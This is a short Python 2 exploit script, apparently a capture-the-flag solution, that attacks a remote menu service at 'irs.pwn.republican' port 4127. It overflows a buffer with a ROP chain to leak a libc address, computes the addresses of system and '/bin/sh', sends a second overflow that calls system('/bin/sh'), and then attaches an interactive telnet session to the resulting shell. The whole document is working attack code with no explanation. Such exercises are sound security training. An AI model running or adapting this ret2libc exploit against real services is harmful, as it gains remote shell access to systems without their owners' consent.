import phun #r= phun.Remote('localhost',1234) r= phun.Remote('irs.pwn.republican', 4127) r.read(':') r.write('1\n') r.read(':') r.write('a\n') r.read(':');r.write('b\n') r.read(':');r.write('1\n') r.read(':');r.write('1\n') r.read(':') r.write('3\n') r.read(':');r.write('a\n') r.read(':');r.write('b\n') r.read(':');r.write('1\n') r.read(':');r.write('1\n') r.read('y/n\r') r.write('a'* 25 + phun.p32(0x80484F8,0x8048540,0x804AFC8) + "\n") r.read('!\r\n') libc = phun.u32(r.read('\n')[:4]) - 299040 system = libc + 239936 binsh = libc + 1412747 print hex(libc),hex(system), hex(binsh) r.read(':') r.write('1\n') r.read(':') r.write('a\n') r.read(':');r.write('b\n') r.read(':');r.write('1\n') r.read(':');r.write('1\n') r.read(':') r.write('3\n') r.read(':');r.write('a\n') r.read(':');r.write('b\n') r.read(':');r.write('1\n') r.read(':');r.write('1\n') r.read('y/n\r') x = phun.p32(system,0xdeadbeef,binsh) if "\x00" in x or "\n" in x: print 'problem' r.write('a'* 25 + x + '\n') import telnetlib t = telnetlib.Telnet() t.sock = r.sock t.interact()